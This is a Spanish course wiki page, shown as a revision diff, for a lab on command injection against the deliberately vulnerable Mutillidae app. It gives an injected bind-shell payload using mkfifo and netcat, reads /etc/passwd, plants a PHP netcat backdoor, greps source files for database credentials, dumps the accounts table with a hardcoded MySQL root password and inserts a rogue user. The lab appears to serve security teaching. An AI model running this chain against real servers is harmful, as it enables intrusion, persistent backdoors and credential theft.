Herramientas de usuario

Herramientas del sitio


sad:fedora14:p3

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Próxima revisión
Revisión previa
sad:fedora14:p3 [2018/01/27 22:37]
José Manuel Guallar creado
sad:fedora14:p3 [2019/01/04 13:18] (actual)
Línea 1: Línea 1:
-¿Qué es Inyección de Comando?+====== Inyección de comandos Netcat ====== 
 + 
 +**¿Qué es Inyección de Comando?**
  
 La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web. La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web.
Línea 5: Línea 7:
 Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";"​ o "​|"​ o "​||"​ o "&"​ o "&&"​ se agrega al final de la entrada esperada (p. ej., www.colegiomontessori.com) seguido de un comando (p. ej., cat / etc / passwd). Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un ";"​ o "​|"​ o "​||"​ o "&"​ o "&&"​ se agrega al final de la entrada esperada (p. ej., www.colegiomontessori.com) seguido de un comando (p. ej., cat / etc / passwd).
  
-¿Qué es netcat?+**¿Qué es netcat?**
  
 Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de "​back-end"​ confiable que puede ser utilizado directa o fácilmente por otros programas y scripts. Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de "​back-end"​ confiable que puede ser utilizado directa o fácilmente por otros programas y scripts.
Línea 13: Línea 15:
 Netcat a menudo se conoce como una "​navaja del ejército suizo para TCP / IP". Su lista de funciones incluye exploración de puertos, transferencia de archivos y escucha de puertos, y puede utilizarse como puerta trasera. Netcat a menudo se conoce como una "​navaja del ejército suizo para TCP / IP". Su lista de funciones incluye exploración de puertos, transferencia de archivos y escucha de puertos, y puede utilizarse como puerta trasera.
  
- +** 
-Pre-requisito para hacer estas practicas+Pre-requisito para hacer estas practicas**
  
 Tener instalado un Fedora \\  Tener instalado un Fedora \\ 
Línea 29: Línea 31:
   *  Agregue un usuario a la tabla nowasp. accounts.   *  Agregue un usuario a la tabla nowasp. accounts.
  
-A continuación,​ vamos a agregar ​NetCat a la prueba nslookup ​básica. :)+Lo primero de todo voy a ver que ip tiene cada una de las maquinas 
 +  * Fedora tiene 192.168.153.39 
 +  * BT tiene 192.168.153.43 
 + 
 +{{:​sad:​fedora:​p3:​1.png?​500|}} 
 + 
 +Vamos como el ejercicio anterior a http://​ip-fedora/​mutillidae y seleccionamos  
 + 
 +OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup 
 + 
 + 
 + 
 +A continuación,​ vamos a ejecutar ​NetCat a la prueba nslookup ​LOL
  
 Instrucciones:​ Instrucciones:​
 +<code basH>
 +www.colegiomontessori.com;​ mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe
 +</​code>​
  
-www.cnn.com; mkfifo / tmp / pipe; sh / tmp / pipe | nc -l 4444> / tmp / pipe+** Hacemos un  FIFO llamada pipe.**
  
-Hacemos un  FIFO llamada pipe. 
 Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos.
 +
 Esto permitirá que dos procesos se conecten a netcat. Esto permitirá que dos procesos se conecten a netcat.
-nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444. 
  
-NOTA: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA+**nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. 
 + 
 + 
 +{{:​sad:​fedora:​p3:​2.png?​500|}} 
 +{{:​sad:​fedora:​p3:​3.png?​500|}} 
 + 
 +**NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA
  
 Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente. Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente.
Línea 46: Línea 68:
 También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes. También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes.
  
-Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.+Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?:
  
-Conéctese a Netcat +====== ​Conéctese a Netcat ​======
- +
-Notas:+
  
 Escribir las siguientes sentencias en el BackTrack Escribir las siguientes sentencias en el BackTrack
  
-Reemplace 192.168.1.111 ​con la dirección IP de Fedora.+Reemplazar la ip con la dirección IP de tu Fedora.
  
-Instrucciones:+<code bash> 
 +root@bt:~# nc 192.168.153.39 4444 
 +</​code>​
  
-**nc 192.168.1.111 4444**+{{:​sad:​fedora:​p3:​04.png?500|}}
  
 Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444
  
-**hostname**+''​**hostname**''​
  
 Este es el nombre de host del servidor que aloja DVWA. Este es el nombre de host del servidor que aloja DVWA.
  
-**whoami**+''​**whoami**''​
  
 Es decir, ¿con quién me conecto? Es decir, ¿con quién me conecto?
  
-pwd+''​**pwd**''​
  
 directorio de trabajo directorio de trabajo
  
-uname -a+''​**uname -a**''​
  
-muestra informacion del sistema ​operatico +muestra informacion del sistema ​operativo 
-cat /etc/passwd > passwd.txt+ 
 +''​**cat /etc/passwd > passwd.txt**''​
  
 crea passwd.txt localizado en /​var/​www/​html/​multillidae crea passwd.txt localizado en /​var/​www/​html/​multillidae
-ls -l $PWD/​passwd.txt+ 
 +''​**ls -l $PWD/​passwd.txt**''​
  
 lista el fichero passwd.txt lista el fichero passwd.txt
  
-volvemos al Firefox y abrimos otra pestaña y escribimos+{{:​sad:​fedora:​p3:​05.png?​500|}}
  
-http://​ip-fedora/​mutillidae/​passwd.txt+**volvemos al Firefox y abrimos otra pestaña y escribimos**
  
-Creación de una puerta trasera (PHP)+''​** http://​ip-fedora/​mutillidae/​passwd.txt**''​
  
-Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack.+{{:​sad:​fedora:​p3:​06.png?500|}}
  
-Ahora podemos crear un archivo en el servidor web Apache en el directorio /​var/​www/​html/​mutillidae.+====== Creación de una puerta trasera (PHP) ======
  
-Vamos a crear un script ​php que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup.+ 
 +Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. 
 + 
 +Ahora podemos ​crear un script ​en el servidor web Apache en el directorio /​var/​www/​html/​mutillidae, ​que servirá ​ como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup.
  
 <code bash> <code bash>
Línea 104: Línea 131:
 </​code>​ </​code>​
  
-http://​ip-fedora/​multillidae/​nc_connect.php+{{:​sad:​fedora:​p3:​07.png?​500|}} 
 + 
 +''​**http://​ip-fedora/​mutillidae/​nc_connect.php**''​ 
 + 
 +Ejecutamos **nc_connect.php** 
 + 
 +''​**http://​ip-fedora/​mutillidae/​nc_connect.php**''​ 
 + 
 +veremos que en la web pone conectando..... 
 + 
 +abrimos otro terminal en Backtrack y escribimos 
 + 
 +<code bash> 
 + 
 +root@bt:~# nc 192.168.153.39 3333 
 +whoami 
 +ps -eaf | egrep '​(3333|4444)'​ 
 + 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​08.png?​500|}} 
 +{{:​sad:​fedora:​p3:​09.png?​500|}} 
 + 
 +Las dos primeras lineas es la ejecución del netcat via nslookup 
 + 
 +las ultimas lineas el la puerta trasera 
 + 
 +Para Listar todos los scripts que hay en php, la idea es la misma que la practica anterior, averiguar el usuario y la contraseña 
 + 
 +primero vamos a ver nuestro directorio de trabajo 
 + 
 +''​**pwd**''​ 
 + 
 +luego vamos a contar los scripts\\ 
 + 
 +''​**find * -name "​*.php"​ | wc -l**''​ 
 + 
 +despues vamos a contar los archivos incluye de php\\ 
 + 
 +''​**find * -name "​*.inc"​ | wc -l**''​ 
 + 
 +lo siguiente sera buscar en cada archivo include (.inc) las palabras "​password"​ "​db"​ o "​database"​\\ 
 + 
 +{{:​sad:​fedora:​p3:​10.png?​500|}} 
 + 
 +<code bash> 
 +find * -name "​*.inc"​ | xargs grep -i password | egrep -i '​(db|database)'​ 
 +</​code>​ 
 + 
 +**find * -name "​*.inc** encuentra todos los archivos con la extensión inc 
 + 
 +** xargs** construye y ejecutar líneas de comando desde entrada estándar 
 + 
 +**grep -i password** busca la palabra password (ignora mayuscula y minusculas) 
 + 
 +**egrep -i '​(db|database)'​** buscar las cadenas db o database 
 + 
 +{{:​sad:​fedora:​p3:​11.png?​500|}} 
 + 
 +<code bash> 
 +find * -name "​*.php"​ | xargs grep -i password | egrep -i '​(db|database)'​ | grep "​="​ | head -8 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​12.png?​500|}} 
 +ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php 
 + 
 +Buscamos información de autentificación en el archivo MySQLHandler.php buscamos las palabras password, username o database y el simbolo de = 
 + 
 +<code bash> 
 +find * -name "​MySQLHandler.php"​ | xargs egrep -i '​(password|username|database)'​ | grep "​="​ | head -10 
 +</​code>​ 
 +{{:​sad:​fedora:​p3:​13.png?​500|}} 
 + 
 +El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. 
 + 
 +<code php> 
 +echo "show databases;"​ | mysql -uroot -psamurai 
 +echo "use nowasp; show tables;"​ | mysql -uroot -psamurai 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​14.png?​500|}} 
 + 
 +Vamos a investigar el contenido de la tabla accounts 
 + 
 +primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas 
 + 
 +<code php> 
 +echo "use nowasp; desc accounts;"​ | mysql -uroot -psamurai 
 +echo "​select * from nowasp.accounts;"​ | mysql -uroot -psamurai 
 +</​code>​ 
 + 
 +{{:​sad:​fedora:​p3:​15.png?​500|}} 
 + 
 +===== ahora vamos a crear un nuevo usuario en la tabla ===== 
 + 
 + 
 +<code bash> 
 +echo "​insert into nowasp.accounts values (null,'​hacker_jm','​p4sSw0rd!','​H4ck','​TRUE'​);"​ | mysql -uroot -psamurai 
 +echo "​select * from nowasp.accounts;"​ | mysql -uroot -psamurai 
 +</​code>​ 
 +{{:​sad:​fedora:​p3:​16.png?​500|}} 
 + 
 + 
 +''​** print de pantalla final**''​ 
 + 
 +Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php 
 + 
 +<code bash> 
 +echo "​select * from nowasp.accounts where username = '​hacker_nombre';"​ | mysql -uroot -psamurai 
 +netstat -nao | egrep '​(3333|4444)'​ 
 +date 
 +echo "tu nombre"​ 
 +</​code>​
  
  
sad/fedora14/p3.1517092636.txt.gz · Última modificación: 2019/01/04 13:18 (editor externo)